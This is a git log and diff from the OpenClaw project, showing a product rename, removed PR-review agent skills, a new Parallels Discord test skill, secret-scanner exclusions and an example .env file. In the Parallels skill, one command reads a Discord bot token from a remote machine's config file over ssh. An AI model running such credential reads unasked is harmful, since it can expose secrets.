The main sendMessageBlueBubbles already had it, but createNewChatWithMessage
was missing it, causing 400 errors for new chat creation without Private API.

* fix: send stop-typing signal when run ends with NO_REPLY (#8785)

Adds onCleanup callback to the typing controller that fires when the
controller is cleaned up while typing was active (e.g., after NO_REPLY).
Channels using createTypingCallbacks automatically get stop-typing on
cleanup. This prevents the typing indicator from lingering in group chats
when the agent decides not to reply.

* fix(telegram): deduplicate skill commands in multi-agent setup (#5717)

Two fixes:
1. Skip duplicate workspace dirs when listing skill commands across agents.
   Multiple agents sharing the same workspace would produce duplicate commands
   with _2, _3 suffixes.
2. Clear stale commands via deleteMyCommands before registering new ones.
   Commands from deleted skills now get cleaned up on restart.

* fix: add size limits to unbounded in-memory caches (#4948)

Adds max-size caps with oldest-entry eviction to prevent OOM in
long-running deployments:
- BlueBubbles serverInfoCache: 64 entries (already has TTL)
- Google Chat authCache: 32 entries
- Matrix directRoomCache: 1024 entries
- Discord presenceCache: 5000 entries per account

* fix: address review concerns (#11093)

- Chain deleteMyCommands → setMyCommands to prevent race condition (#5717)
- Rename enablePluginEntry to registerPluginEntry (now sets enabled: false)
- Add Slow-Loris timeout test for readJsonBody (#6023)
2026-02-07 05:00:55 -08:00
Peter Steinberger
9f703a44dc chore(release): 2026.2.6-3 2026-02-07 00:44:32 -08:00
Peter Steinberger
85ed6c7fa4 chore(onboard): reorder xAI + Qianfan providers 2026-02-07 00:43:13 -08:00
Peter Steinberger
ad4dd0422e chore(release): 2026.2.6-2 2026-02-07 00:30:43 -08:00
Peter Steinberger
4ba9809f18 test(hooks): stabilize session-memory hook tests 2026-02-07 00:22:34 -08:00
Peter Steinberger
80d42eb0ba fix(docker): support .mjs entrypoints in images and e2e 2026-02-07 00:22:34 -08:00
Peter Steinberger
2b6cf03b47 fix(build): support daemon-cli .mjs bundles in compat shim 2026-02-07 00:22:34 -08:00
Peter Steinberger
88ffad1c4f Merge PR #8868: add Baidu Qianfan support (thanks @ide-rea) 2026-02-07 00:19:04 -08:00
Peter Steinberger
875324e7c7 docs(changelog): note CI pipeline optimization (#10784) (thanks @mcaxtr) 2026-02-06 23:31:48 -08:00
Marcus Castro
2d7428a7f2 ci: re-enable parallel vitest on Windows CI 2026-02-06 23:31:48 -08:00
Marcus Castro
47596257ea ci: add concurrency controls, consolidate macOS jobs, optimize Windows CI 2026-02-06 23:31:48 -08:00
Peter Steinberger
ab3045cb48 chore(onboard): move xAI below Google 2026-02-06 23:06:55 -08:00
Peter Steinberger
aaddbdae52 chore(release): 2026.2.6-1 2026-02-06 22:48:19 -08:00
Peter Steinberger
8d0e7997c8 chore(onboard): move xAI up in auth list 2026-02-06 22:41:19 -08:00
Peter Steinberger
31a7e4f937 chore(skills): remove bird skill 2026-02-06 22:28:44 -08:00
Peter Steinberger
c5194d8148 fix(dashboard): restore tokenized control ui links 2026-02-06 22:17:09 -08:00
ide-rea
43c0a7fe1c Merge branch 'openclaw:main' into qianfan 2026-02-07 14:07:52 +08:00
ideoutrea
0b51f0d762 Fix conflicts 2026-02-06 18:16:20 +08:00
ideoutrea
7a9deb2400 Resolve conflicts 2026-02-06 18:13:42 +08:00
ide-rea
3997316fb0 Merge branch 'main' into qianfan 2026-02-06 17:58:28 +08:00
ideoutrea
360851366f Support ERNIE-5.0-Thinking-Preview 2026-02-06 17:49:54 +08:00
ideoutrea
7af00f040a Optimize import 2026-02-05 14:53:38 +08:00
ideoutrea
4d30f97407 Fix key resolve 2026-02-05 14:40:56 +08:00
ideoutrea
ff948a6dd7 Optimize doc 2026-02-05 14:04:23 +08:00
ideoutrea
ad759c9446 Optimize format 2026-02-05 13:50:09 +08:00
ide-rea
9ccbd57016 Merge branch 'openclaw:main' into qianfan 2026-02-05 13:36:44 +08:00
ideoutrea
52c9d3480f Add auth choice 2026-02-05 13:35:35 +08:00
ide-rea
517a8eafe5 Merge branch 'openclaw:main' into qianfan 2026-02-05 12:43:21 +08:00
ideoutrea
c8e67ad5d5 Fix import error 2026-02-05 12:39:38 +08:00
ideoutrea
fb5280e1b5 optimize doc 2026-02-04 22:57:34 +08:00
ide-rea
009abd306a Merge branch 'main' into qianfan 2026-02-04 22:39:13 +08:00
ideoutrea
8c53dfb74f Optimize doc 2026-02-04 22:30:42 +08:00
ideoutrea
7bf4080608 Fix format 2026-02-04 22:27:51 +08:00
ideoutrea
1de05ad068 Add baidu qianfan model provider 2026-02-04 22:27:49 +08:00
ideoutrea
30ac80b96b Add baidu qianfan model provider 2026-02-04 16:36:37 +08:00
8346 changed files with 1166653 additions and 303665 deletions

View File

@@ -1,8 +1,8 @@
---
description: Update Clawdbot from upstream when branch has diverged (ahead/behind)
description: Update OpenClaw from upstream when branch has diverged (ahead/behind)
---
# Clawdbot Upstream Sync Workflow
# OpenClaw Upstream Sync Workflow
Use this workflow when your fork has diverged from upstream (e.g., "18 commits ahead, 29 commits behind").
@@ -132,16 +132,16 @@ pnpm mac:package
```bash
# Kill running app
pkill -x "Clawdbot" || true
pkill -x "OpenClaw" || true
# Move old version
mv /Applications/Clawdbot.app /tmp/Clawdbot-backup.app
mv /Applications/OpenClaw.app /tmp/OpenClaw-backup.app
# Install new build
cp -R dist/Clawdbot.app /Applications/
cp -R dist/OpenClaw.app /Applications/
# Launch
open /Applications/Clawdbot.app
open /Applications/OpenClaw.app
```
---
@@ -235,7 +235,7 @@ If upstream introduced new model configurations:
# Check for OpenRouter API key requirements
grep -r "openrouter\|OPENROUTER" src/ --include="*.ts" --include="*.js"
# Update clawdbot.json with fallback chains
# Update openclaw.json with fallback chains
# Add model fallback configurations as needed
```

1
.agents/maintainers.md Normal file
View File

@@ -0,0 +1 @@
Maintainer skills now live in [`openclaw/maintainers`](https://github.com/openclaw/maintainers/).

View File

@@ -1,185 +0,0 @@
---
name: merge-pr
description: Merge a GitHub PR via squash after /preparepr. Use when asked to merge a ready PR. Do not push to main or modify code. Ensure the PR ends in MERGED state and clean up worktrees after success.
---
# Merge PR
## Overview
Merge a prepared PR via `gh pr merge --squash` and clean up the worktree after success.
## Inputs
- Ask for PR number or URL.
- If missing, auto-detect from conversation.
- If ambiguous, ask.
## Safety
- Use `gh pr merge --squash` as the only path to `main`.
- Do not run `git push` at all during merge.
- Do not run gateway stop commands. Do not kill processes. Do not touch port 18792.
## Execution Rule
- Execute the workflow. Do not stop after printing the TODO checklist.
- If delegating, require the delegate to run commands and capture outputs.
## Known Footguns
- If you see "fatal: not a git repository", you are in the wrong directory. Use `~/Development/openclaw`, not `~/openclaw`.
- Read `.local/review.md` and `.local/prep.md` in the worktree. Do not skip.
- Clean up the real worktree directory `.worktrees/pr-<PR>` only after a successful merge.
- Expect cleanup to remove `.local/` artifacts.
## Completion Criteria
- Ensure `gh pr merge` succeeds.
- Ensure PR state is `MERGED`, never `CLOSED`.
- Record the merge SHA.
- Run cleanup only after merge success.
## First: Create a TODO Checklist
Create a checklist of all merge steps, print it, then continue and execute the commands.
## Setup: Use a Worktree
Use an isolated worktree for all merge work.
```sh
cd ~/Development/openclaw
# Sanity: confirm you are in the repo
git rev-parse --show-toplevel
WORKTREE_DIR=".worktrees/pr-<PR>"
```
Run all commands inside the worktree directory.
## Load Local Artifacts (Mandatory)
Expect these files from earlier steps:
- `.local/review.md` from `/reviewpr`
- `.local/prep.md` from `/preparepr`
```sh
ls -la .local || true
if [ -f .local/review.md ]; then
echo "Found .local/review.md"
sed -n '1,120p' .local/review.md
else
echo "Missing .local/review.md. Stop and run /reviewpr, then /preparepr."
exit 1
fi
if [ -f .local/prep.md ]; then
echo "Found .local/prep.md"
sed -n '1,120p' .local/prep.md
else
echo "Missing .local/prep.md. Stop and run /preparepr first."
exit 1
fi
```
## Steps
1. Identify PR meta
```sh
gh pr view <PR> --json number,title,state,isDraft,author,headRefName,baseRefName,headRepository,body --jq '{number,title,state,isDraft,author:.author.login,head:.headRefName,base:.baseRefName,headRepo:.headRepository.nameWithOwner,body}'
contrib=$(gh pr view <PR> --json author --jq .author.login)
head=$(gh pr view <PR> --json headRefName --jq .headRefName)
head_repo_url=$(gh pr view <PR> --json headRepository --jq .headRepository.url)
```
2. Run sanity checks
Stop if any are true:
- PR is a draft.
- Required checks are failing.
- Branch is behind main.
```sh
# Checks
gh pr checks <PR>
# Check behind main
git fetch origin main
git fetch origin pull/<PR>/head:pr-<PR>
git merge-base --is-ancestor origin/main pr-<PR> || echo "PR branch is behind main, run /preparepr"
```
If anything is failing or behind, stop and say to run `/preparepr`.
3. Merge PR and delete branch
If checks are still running, use `--auto` to queue the merge.
```sh
# Check status first
check_status=$(gh pr checks <PR> 2>&1)
if echo "$check_status" | grep -q "pending\|queued"; then
echo "Checks still running, using --auto to queue merge"
gh pr merge <PR> --squash --delete-branch --auto
echo "Merge queued. Monitor with: gh pr checks <PR> --watch"
else
gh pr merge <PR> --squash --delete-branch
fi
```
If merge fails, report the error and stop. Do not retry in a loop.
If the PR needs changes beyond what `/preparepr` already did, stop and say to run `/preparepr` again.
4. Get merge SHA
```sh
merge_sha=$(gh pr view <PR> --json mergeCommit --jq '.mergeCommit.oid')
echo "merge_sha=$merge_sha"
```
5. Optional comment
Use a literal multiline string or heredoc for newlines.
```sh
gh pr comment <PR> -F - <<'EOF'
Merged via squash.
- Merge commit: $merge_sha
Thanks @$contrib!
EOF
```
6. Verify PR state is MERGED
```sh
gh pr view <PR> --json state --jq .state
```
7. Clean up worktree only on success
Run cleanup only if step 6 returned `MERGED`.
```sh
cd ~/Development/openclaw
git worktree remove ".worktrees/pr-<PR>" --force
git branch -D temp/pr-<PR> 2>/dev/null || true
git branch -D pr-<PR> 2>/dev/null || true
```
## Guardrails
- Worktree only.
- Do not close PRs.
- End in MERGED state.
- Clean up only after merge success.
- Never push to main. Use `gh pr merge --squash` only.
- Do not run `git push` at all in this command.

View File

@@ -1,4 +0,0 @@
interface:
display_name: "Merge PR"
short_description: "Merge GitHub PRs via squash"
default_prompt: "Use $merge-pr to merge a GitHub PR via squash after preparation."

View File

@@ -0,0 +1,59 @@
---
name: parallels-discord-roundtrip
description: Run the macOS Parallels smoke harness with Discord end-to-end roundtrip verification, including guest send, host verification, host reply, and guest readback.
---
# Parallels Discord Roundtrip
Use when macOS Parallels smoke must prove Discord two-way delivery end to end.
## Goal
Cover:
- install on fresh macOS snapshot
- onboard + gateway health
- guest `message send` to Discord
- host sees that message on Discord
- host posts a new Discord message
- guest `message read` sees that new message
## Inputs
- host env var with Discord bot token
- Discord guild ID
- Discord channel ID
- `OPENAI_API_KEY`
## Preferred run
```bash
export OPENCLAW_PARALLELS_DISCORD_TOKEN="$(
ssh peters-mac-studio-1 'jq -r ".channels.discord.token" ~/.openclaw/openclaw.json' | tr -d '\n'
)"
pnpm test:parallels:macos \
--discord-token-env OPENCLAW_PARALLELS_DISCORD_TOKEN \
--discord-guild-id 1456350064065904867 \
--discord-channel-id 1456744319972282449 \
--json
```
## Notes
- Snapshot target: closest to `macOS 26.3.1 fresh`.
- Harness configures Discord inside the guest; no checked-in token/config.
- Use the `openclaw` wrapper for guest `message send/read`; `node openclaw.mjs message ...` does not expose the lazy message subcommands the same way.
- Write `channels.discord.guilds` in one JSON object (`--strict-json`), not dotted `config set channels.discord.guilds.<snowflake>...` paths; numeric snowflakes get treated like array indexes.
- Avoid `prlctl enter` / expect for long Discord setup scripts; it line-wraps/corrupts long commands. Use `prlctl exec --current-user /bin/sh -lc ...` for the Discord config phase.
- Harness cleanup deletes the temporary Discord smoke messages at exit.
- Per-phase logs: `/tmp/openclaw-parallels-smoke.*`
- Machine summary: pass `--json`
- If roundtrip flakes, inspect `fresh.discord-roundtrip.log` and `discord-last-readback.json` in the run dir first.
## Pass criteria
- fresh lane or upgrade lane requested passes
- summary reports `discord=pass` for that lane
- guest outbound nonce appears in channel history
- host inbound nonce appears in `openclaw message read` output

View File

@@ -1,248 +0,0 @@
---
name: prepare-pr
description: Prepare a GitHub PR for merge by rebasing onto main, fixing review findings, running gates, committing fixes, and pushing to the PR head branch. Use after /reviewpr. Never merge or push to main.
---
# Prepare PR
## Overview
Prepare a PR branch for merge with review fixes, green gates, and an updated head branch.
## Inputs
- Ask for PR number or URL.
- If missing, auto-detect from conversation.
- If ambiguous, ask.
## Safety
- Never push to `main` or `origin/main`. Push only to the PR head branch.
- Never run `git push` without specifying remote and branch explicitly. Do not run bare `git push`.
- Do not run gateway stop commands. Do not kill processes. Do not touch port 18792.
- Do not run `git clean -fdx`.
- Do not run `git add -A` or `git add .`. Stage only specific files changed.
## Execution Rule
- Execute the workflow. Do not stop after printing the TODO checklist.
- If delegating, require the delegate to run commands and capture outputs.
## Known Footguns
- If you see "fatal: not a git repository", you are in the wrong directory. Use `~/openclaw`.
- Do not run `git clean -fdx`.
- Do not run `git add -A` or `git add .`.
## Completion Criteria
- Rebase PR commits onto `origin/main`.
- Fix all BLOCKER and IMPORTANT items from `.local/review.md`.
- Run gates and pass.
- Commit prep changes.
- Push the updated HEAD back to the PR head branch.
- Write `.local/prep.md` with a prep summary.
- Output exactly: `PR is ready for /mergepr`.
## First: Create a TODO Checklist
Create a checklist of all prep steps, print it, then continue and execute the commands.
## Setup: Use a Worktree
Use an isolated worktree for all prep work.
```sh
cd ~/openclaw
# Sanity: confirm you are in the repo
git rev-parse --show-toplevel
WORKTREE_DIR=".worktrees/pr-<PR>"
```
Run all commands inside the worktree directory.
## Load Review Findings (Mandatory)
```sh
if [ -f .local/review.md ]; then
echo "Found review findings from /reviewpr"
else
echo "Missing .local/review.md. Run /reviewpr first and save findings."
exit 1
fi
# Read it
sed -n '1,200p' .local/review.md
```
## Steps
1. Identify PR meta (author, head branch, head repo URL)
```sh
gh pr view <PR> --json number,title,author,headRefName,baseRefName,headRepository,body --jq '{number,title,author:.author.login,head:.headRefName,base:.baseRefName,headRepo:.headRepository.nameWithOwner,body}'
contrib=$(gh pr view <PR> --json author --jq .author.login)
head=$(gh pr view <PR> --json headRefName --jq .headRefName)
head_repo_url=$(gh pr view <PR> --json headRepository --jq .headRepository.url)
```
2. Fetch the PR branch tip into a local ref
```sh
git fetch origin pull/<PR>/head:pr-<PR>
```
3. Rebase PR commits onto latest main
```sh
# Move worktree to the PR tip first
git reset --hard pr-<PR>
# Rebase onto current main
git fetch origin main
git rebase origin/main
```
If conflicts happen:
- Resolve each conflicted file.
- Run `git add <resolved_file>` for each file.
- Run `git rebase --continue`.
If the rebase gets confusing or you resolve conflicts 3 or more times, stop and report.
4. Fix issues from `.local/review.md`
- Fix all BLOCKER and IMPORTANT items.
- NITs are optional.
- Keep scope tight.
Keep a running log in `.local/prep.md`:
- List which review items you fixed.
- List which files you touched.
- Note behavior changes.
5. Update `CHANGELOG.md` if flagged in review
Check `.local/review.md` section H for guidance.
If flagged and user-facing:
- Check if `CHANGELOG.md` exists.
```sh
ls CHANGELOG.md 2>/dev/null
```
- Follow existing format.
- Add a concise entry with PR number and contributor.
6. Update docs if flagged in review
Check `.local/review.md` section G for guidance.
If flagged, update only docs related to the PR changes.
7. Commit prep fixes
Stage only specific files:
```sh
git add <file1> <file2> ...
```
Preferred commit tool:
```sh
committer "fix: <summary> (#<PR>) (thanks @$contrib)" <changed files>
```
If `committer` is not found:
```sh
git commit -m "fix: <summary> (#<PR>) (thanks @$contrib)"
```
8. Run full gates before pushing
```sh
pnpm install
pnpm build
pnpm ui:build
pnpm check
pnpm test
```
Require all to pass. If something fails, fix, commit, and rerun. Allow at most 3 fix and rerun cycles. If gates still fail after 3 attempts, stop and report the failures. Do not loop indefinitely.
9. Push updates back to the PR head branch
```sh
# Ensure remote for PR head exists
git remote add prhead "$head_repo_url.git" 2>/dev/null || git remote set-url prhead "$head_repo_url.git"
# Use force with lease after rebase
# Double check: $head must NOT be "main" or "master"
echo "Pushing to branch: $head"
if [ "$head" = "main" ] || [ "$head" = "master" ]; then
echo "ERROR: head branch is main/master. This is wrong. Stopping."
exit 1
fi
git push --force-with-lease prhead HEAD:$head
```
10. Verify PR is not behind main (Mandatory)
```sh
git fetch origin main
git fetch origin pull/<PR>/head:pr-<PR>-verify --force
git merge-base --is-ancestor origin/main pr-<PR>-verify && echo "PR is up to date with main" || echo "ERROR: PR is still behind main, rebase again"
git branch -D pr-<PR>-verify 2>/dev/null || true
```
If still behind main, repeat steps 2 through 9.
11. Write prep summary artifacts (Mandatory)
Update `.local/prep.md` with:
- Current HEAD sha from `git rev-parse HEAD`.
- Short bullet list of changes.
- Gate results.
- Push confirmation.
- Rebase verification result.
Create or overwrite `.local/prep.md` and verify it exists and is non-empty:
```sh
git rev-parse HEAD
ls -la .local/prep.md
wc -l .local/prep.md
```
12. Output
Include a diff stat summary:
```sh
git diff --stat origin/main..HEAD
git diff --shortstat origin/main..HEAD
```
Report totals: X files changed, Y insertions(+), Z deletions(-).
If gates passed and push succeeded, print exactly:
```
PR is ready for /mergepr
```
Otherwise, list remaining failures and stop.
## Guardrails
- Worktree only.
- Do not delete the worktree on success. `/mergepr` may reuse it.
- Do not run `gh pr merge`.
- Never push to main. Only push to the PR head branch.
- Run and pass all gates before pushing.

View File

@@ -1,4 +0,0 @@
interface:
display_name: "Prepare PR"
short_description: "Prepare GitHub PRs for merge"
default_prompt: "Use $prepare-pr to prep a GitHub PR for merge without merging."

View File

@@ -1,228 +0,0 @@
---
name: review-pr
description: Review-only GitHub pull request analysis with the gh CLI. Use when asked to review a PR, provide structured feedback, or assess readiness to land. Do not merge, push, or make code changes you intend to keep.
---
# Review PR
## Overview
Perform a thorough review-only PR assessment and return a structured recommendation on readiness for /preparepr.
## Inputs
- Ask for PR number or URL.
- If missing, always ask. Never auto-detect from conversation.
- If ambiguous, ask.
## Safety
- Never push to `main` or `origin/main`, not during review, not ever.
- Do not run `git push` at all during review. Treat review as read only.
- Do not stop or kill the gateway. Do not run gateway stop commands. Do not kill processes on port 18792.
## Execution Rule
- Execute the workflow. Do not stop after printing the TODO checklist.
- If delegating, require the delegate to run commands and capture outputs, not a plan.
## Known Failure Modes
- If you see "fatal: not a git repository", you are in the wrong directory. Use `~/openclaw`.
- Do not stop after printing the checklist. That is not completion.
## Writing Style for Output
- Write casual and direct.
- Avoid em dashes and en dashes. Use commas or separate sentences.
## Completion Criteria
- Run the commands in the worktree and inspect the PR directly.
- Produce the structured review sections A through J.
- Save the full review to `.local/review.md` inside the worktree.
## First: Create a TODO Checklist
Create a checklist of all review steps, print it, then continue and execute the commands.
## Setup: Use a Worktree
Use an isolated worktree for all review work.
```sh
cd ~/Development/openclaw
# Sanity: confirm you are in the repo
git rev-parse --show-toplevel
WORKTREE_DIR=".worktrees/pr-<PR>"
git fetch origin main
# Reuse existing worktree if it exists, otherwise create new
if [ -d "$WORKTREE_DIR" ]; then
cd "$WORKTREE_DIR"
git checkout temp/pr-<PR> 2>/dev/null || git checkout -b temp/pr-<PR>
git fetch origin main
git reset --hard origin/main
else
git worktree add "$WORKTREE_DIR" -b temp/pr-<PR> origin/main
cd "$WORKTREE_DIR"
fi
# Create local scratch space that persists across /reviewpr to /preparepr to /mergepr
mkdir -p .local
```
Run all commands inside the worktree directory.
Start on `origin/main` so you can check for existing implementations before looking at PR code.
## Steps
1. Identify PR meta and context
```sh
gh pr view <PR> --json number,title,state,isDraft,author,baseRefName,headRefName,headRepository,url,body,labels,assignees,reviewRequests,files,additions,deletions --jq '{number,title,url,state,isDraft,author:.author.login,base:.baseRefName,head:.headRefName,headRepo:.headRepository.nameWithOwner,additions,deletions,files:.files|length,body}'
```
2. Check if this already exists in main before looking at the PR branch
- Identify the core feature or fix from the PR title and description.
- Search for existing implementations using keywords from the PR title, changed file paths, and function or component names from the diff.
```sh
# Use keywords from the PR title and changed files
rg -n "<keyword_from_pr_title>" -S src packages apps ui || true
rg -n "<function_or_component_name>" -S src packages apps ui || true
git log --oneline --all --grep="<keyword_from_pr_title>" | head -20
```
If it already exists, call it out as a BLOCKER or at least IMPORTANT.
3. Claim the PR
Assign yourself so others know someone is reviewing. Skip if the PR looks like spam or is a draft you plan to recommend closing.
```sh
gh_user=$(gh api user --jq .login)
gh pr edit <PR> --add-assignee "$gh_user"
```
4. Read the PR description carefully
Use the body from step 1. Summarize goal, scope, and missing context.
5. Read the diff thoroughly
Minimum:
```sh
gh pr diff <PR>
```
If you need full code context locally, fetch the PR head to a local ref and diff it. Do not create a merge commit.
```sh
git fetch origin pull/<PR>/head:pr-<PR>
# Show changes without modifying the working tree
git diff --stat origin/main..pr-<PR>
git diff origin/main..pr-<PR>
```
If you want to browse the PR version of files directly, temporarily check out `pr-<PR>` in the worktree. Do not commit or push. Return to `temp/pr-<PR>` and reset to `origin/main` afterward.
```sh
# Use only if needed
# git checkout pr-<PR>
# ...inspect files...
git checkout temp/pr-<PR>
git reset --hard origin/main
```
6. Validate the change is needed and valuable
Be honest. Call out low value AI slop.
7. Evaluate implementation quality
Review correctness, design, performance, and ergonomics.
8. Perform a security review
Assume OpenClaw subagents run with full disk access, including git, gh, and shell. Check auth, input validation, secrets, dependencies, tool safety, and privacy.
9. Review tests and verification
Identify what exists, what is missing, and what would be a minimal regression test.
10. Check docs
Check if the PR touches code with related documentation such as README, docs, inline API docs, or config examples.
- If docs exist for the changed area and the PR does not update them, flag as IMPORTANT.
- If the PR adds a new feature or config option with no docs, flag as IMPORTANT.
- If the change is purely internal with no user-facing impact, skip this.
11. Check changelog
Check if `CHANGELOG.md` exists and whether the PR warrants an entry.
- If the project has a changelog and the PR is user-facing, flag missing entry as IMPORTANT.
- Leave the change for /preparepr, only flag it here.
12. Answer the key question
Decide if /preparepr can fix issues or the contributor must update the PR.
13. Save findings to the worktree
Write the full structured review sections A through J to `.local/review.md`.
Create or overwrite the file and verify it exists and is non-empty.
```sh
ls -la .local/review.md
wc -l .local/review.md
```
14. Output the structured review
Produce a review that matches what you saved to `.local/review.md`.
A) TL;DR recommendation
- One of: READY FOR /preparepr | NEEDS WORK | NEEDS DISCUSSION | NOT USEFUL (CLOSE)
- 1 to 3 sentences.
B) What changed
C) What is good
D) Security findings
E) Concerns or questions (actionable)
- Numbered list.
- Mark each item as BLOCKER, IMPORTANT, or NIT.
- For each, point to file or area and propose a concrete fix.
F) Tests
G) Docs status
- State if related docs are up to date, missing, or not applicable.
H) Changelog
- State if `CHANGELOG.md` needs an entry and which category.
I) Follow ups (optional)
J) Suggested PR comment (optional)
## Guardrails
- Worktree only.
- Do not delete the worktree after review.
- Review only, do not merge, do not push.

View File

@@ -1,4 +0,0 @@
interface:
display_name: "Review PR"
short_description: "Review GitHub PRs without merging"
default_prompt: "Use $review-pr to perform a thorough, review-only GitHub PR review."

View File

@@ -7,10 +7,6 @@
[exclude-files]
# pnpm lockfiles contain lots of high-entropy package integrity blobs.
pattern = (^|/)pnpm-lock\.yaml$
# Generated output and vendored assets.
pattern = (^|/)(dist|vendor)/
# Local config file with allowlist patterns.
pattern = (^|/)\.detect-secrets\.cfg$
[exclude-lines]
# Fastlane checks for private key marker; not a real key.
@@ -28,3 +24,22 @@ pattern = "talk\.apiKey"
pattern = === "string"
# specific optional-chaining password check that didn't match the line above.
pattern = typeof remote\?\.password === "string"
# Docker apt signing key fingerprint constant; not a secret.
pattern = OPENCLAW_DOCKER_GPG_FINGERPRINT=
# Credential matrix metadata field in docs JSON; not a secret value.
pattern = "secretShape": "(secret_input|sibling_ref)"
# Docs line describing API key rotation knobs; not a credential.
pattern = API key rotation \(provider-specific\): set `\*_API_KEYS`
# Docs line describing remote password precedence; not a credential.
pattern = passw[o]rd: `OPENCLAW_GATEWAY_PASSW[O]RD` -> `gateway\.auth\.passw[o]rd` -> `gateway\.remote\.passw[o]rd`
pattern = passw[o]rd: `OPENCLAW_GATEWAY_PASSW[O]RD` -> `gateway\.remote\.passw[o]rd` -> `gateway\.auth\.passw[o]rd`
# Test fixture starts a multiline fake private key; detector should ignore the header line.
pattern = const key = `-----BEGIN PRIVATE KEY-----
# Docs examples: literal placeholder API key snippets and shell heredoc helper.
pattern = export CUSTOM_API_K[E]Y="your-key"
pattern = grep -q 'N[O]DE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache' ~/.bashrc \|\| cat >> ~/.bashrc <<'EOF'
pattern = env: \{ MISTRAL_API_K[E]Y: "sk-\.\.\." \},
pattern = "ap[i]Key": "xxxxx",
pattern = ap[i]Key: "A[I]za\.\.\.",
# Sparkle appcast signatures are release metadata, not credentials.
pattern = sparkle:edSignature="[A-Za-z0-9+/=]+"

View File

@@ -1,5 +1,11 @@
.git
.worktrees
# Sensitive files docker-setup.sh writes .env with OPENCLAW_GATEWAY_TOKEN
# into the project root; keep it out of the build context.
.env
.env.*
.bun-cache
.bun
.tmp
@@ -46,3 +52,19 @@ Swabble/
Core/
Users/
vendor/
# Needed for building the Canvas A2UI bundle during Docker image builds.
# Keep the rest of apps/ and vendor/ excluded to avoid a large build context.
!apps/shared/
!apps/shared/OpenClawKit/
!apps/shared/OpenClawKit/Sources/
!apps/shared/OpenClawKit/Sources/OpenClawKit/
!apps/shared/OpenClawKit/Sources/OpenClawKit/Resources/
!apps/shared/OpenClawKit/Sources/OpenClawKit/Resources/tool-display.json
!apps/shared/OpenClawKit/Tools/
!apps/shared/OpenClawKit/Tools/CanvasA2UI/
!apps/shared/OpenClawKit/Tools/CanvasA2UI/**
!vendor/a2ui/
!vendor/a2ui/renderers/
!vendor/a2ui/renderers/lit/
!vendor/a2ui/renderers/lit/**

View File

@@ -1,5 +1,80 @@
# Copy to .env and fill with your Twilio credentials
TWILIO_ACCOUNT_SID=ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
TWILIO_AUTH_TOKEN=your_auth_token_here
# Must be a WhatsApp-enabled Twilio number, prefixed with whatsapp:
TWILIO_WHATSAPP_FROM=whatsapp:+17343367101
# OpenClaw .env example
#
# Quick start:
# 1) Copy this file to `.env` (for local runs from this repo), OR to `~/.openclaw/.env` (for launchd/systemd daemons).
# 2) Fill only the values you use.
# 3) Keep real secrets out of git.
#
# Env-source precedence for environment variables (highest -> lowest):
# process env, ./.env, ~/.openclaw/.env, then openclaw.json `env` block.
# Existing non-empty process env vars are not overridden by dotenv/config env loading.
# Note: direct config keys (for example `gateway.auth.token` or channel tokens in openclaw.json)
# are resolved separately from env loading and often take precedence over env fallbacks.
# -----------------------------------------------------------------------------
# Gateway auth + paths
# -----------------------------------------------------------------------------
# Recommended if the gateway binds beyond loopback.
OPENCLAW_GATEWAY_TOKEN=change-me-to-a-long-random-token
# Example generator: openssl rand -hex 32
# Optional alternative auth mode (use token OR password).
# OPENCLAW_GATEWAY_PASSWORD=change-me-to-a-strong-password
# Optional path overrides (defaults shown for reference).
# OPENCLAW_STATE_DIR=~/.openclaw
# OPENCLAW_CONFIG_PATH=~/.openclaw/openclaw.json
# OPENCLAW_HOME=~
# Optional: import missing keys from your login shell profile.
# OPENCLAW_LOAD_SHELL_ENV=1
# OPENCLAW_SHELL_ENV_TIMEOUT_MS=15000
# -----------------------------------------------------------------------------
# Model provider API keys (set at least one)
# -----------------------------------------------------------------------------
# OPENAI_API_KEY=sk-...
# ANTHROPIC_API_KEY=sk-ant-...
# GEMINI_API_KEY=...
# OPENROUTER_API_KEY=sk-or-...
# OPENCLAW_LIVE_OPENAI_KEY=sk-...
# OPENCLAW_LIVE_ANTHROPIC_KEY=sk-ant-...
# OPENCLAW_LIVE_GEMINI_KEY=...
# OPENAI_API_KEY_1=...
# ANTHROPIC_API_KEY_1=...
# GEMINI_API_KEY_1=...
# GOOGLE_API_KEY=...
# OPENAI_API_KEYS=sk-1,sk-2
# ANTHROPIC_API_KEYS=sk-ant-1,sk-ant-2
# GEMINI_API_KEYS=key-1,key-2
# Optional additional providers
# ZAI_API_KEY=...
# AI_GATEWAY_API_KEY=...
# MINIMAX_API_KEY=...
# SYNTHETIC_API_KEY=...
# -----------------------------------------------------------------------------
# Channels (only set what you enable)
# -----------------------------------------------------------------------------
# TELEGRAM_BOT_TOKEN=123456:ABCDEF...
# DISCORD_BOT_TOKEN=...
# SLACK_BOT_TOKEN=xoxb-...
# SLACK_APP_TOKEN=xapp-...
# Optional channel env fallbacks
# MATTERMOST_BOT_TOKEN=...
# MATTERMOST_URL=https://chat.example.com
# ZALO_BOT_TOKEN=...
# OPENCLAW_TWITCH_ACCESS_TOKEN=oauth:...
# -----------------------------------------------------------------------------
# Tools + voice/media (optional)
# -----------------------------------------------------------------------------
# BRAVE_API_KEY=...
# PERPLEXITY_API_KEY=pplx-...
# FIRECRAWL_API_KEY=...
# ELEVENLABS_API_KEY=...
# XI_API_KEY=... # alias for ElevenLabs
# DEEPGRAM_API_KEY=...

2
.gitattributes vendored
View File

@@ -1 +1,3 @@
* text=auto eol=lf
CLAUDE.md -text
src/gateway/server-methods/CLAUDE.md -text

54
.github/CODEOWNERS vendored Normal file
View File

@@ -0,0 +1,54 @@
# Protect the ownership rules themselves.
/.github/CODEOWNERS @steipete
# WARNING: GitHub CODEOWNERS uses last-match-wins semantics.
# If you add overlapping rules below the secops block, include @openclaw/secops
# on those entries too or you can silently remove required secops review.
# Security-sensitive code, config, and docs require secops review.
/SECURITY.md @openclaw/secops
/.github/dependabot.yml @openclaw/secops
/.github/codeql/ @openclaw/secops
/.github/workflows/codeql.yml @openclaw/secops
/src/security/ @openclaw/secops
/src/secrets/ @openclaw/secops
/src/config/*secret*.ts @openclaw/secops
/src/config/**/*secret*.ts @openclaw/secops
/src/gateway/*auth*.ts @openclaw/secops
/src/gateway/**/*auth*.ts @openclaw/secops
/src/gateway/*secret*.ts @openclaw/secops
/src/gateway/**/*secret*.ts @openclaw/secops
/src/gateway/security-path*.ts @openclaw/secops
/src/gateway/resolve-configured-secret-input-string*.ts @openclaw/secops
/src/gateway/protocol/**/*secret*.ts @openclaw/secops
